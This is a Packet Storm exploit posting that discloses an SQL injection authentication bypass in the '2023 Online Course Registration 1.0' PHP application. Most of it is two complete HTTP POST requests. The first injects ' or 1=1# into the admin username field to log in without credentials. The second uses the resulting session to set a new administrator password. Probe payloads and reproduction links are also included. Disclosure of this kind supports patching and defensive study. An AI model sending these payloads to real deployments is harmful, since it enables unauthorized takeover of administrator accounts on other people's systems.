exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

2023 Online Course Registration 1.0 SQL Injection

2023 Online Course Registration 1.0 SQL Injection
Posted May 25, 2023
Authored by nu11secur1ty

2023 Online Course Registration version 1.0 suffers from a remote SQL Injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | 97f89701c16c65008c586edfec5db4bfb42238c1ce697dfcbcc4be61071ce5d1

2023 Online Course Registration 1.0 SQL Injection

Change Mirror Download
## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing
## Author: nu11secur1ty
## Date: 05.25.2023
## Vendor: https://github.com/nikhilkeshava
## Software: https://github.com/nikhilkeshava/online-course-registration-
## Reference: https://portswigger.net/web-security/sql-injection,
https://portswigger.net/web-security/sql-injection/lab-login-bypass

## Description:
The `username` parameter appears to be vulnerable to SQL injection
attacks. The payloads 77834251' or 6127=6127-- and 98762777' or
4535=4542-- were each submitted in the username parameter. These two
requests resulted in different responses, indicating that the input is
unsafely incorporated into a SQL query. The attacker can use this
bypass login vulnerability to send a remote POST request to set a new
administrator password for himself, which is absolutely nasty.

STATUS: HIGH Vulnerability

[+]Payload:
```POST
POST /online-course-registration/admin/index.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn
Content-Length: 62
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/online-course-registration/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=nu11secur1ty%27+or+1%3D1%23&password=password&submit=

```
[+]Exploit:
```POST
POST /online-course-registration/admin/change-password.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn
Content-Length: 58
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/online-course-registration/admin/change-password.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

cpass=password&newpass=password5&cnfpass=password5&submit=

```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html)

## Time spend:
01:15:00


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close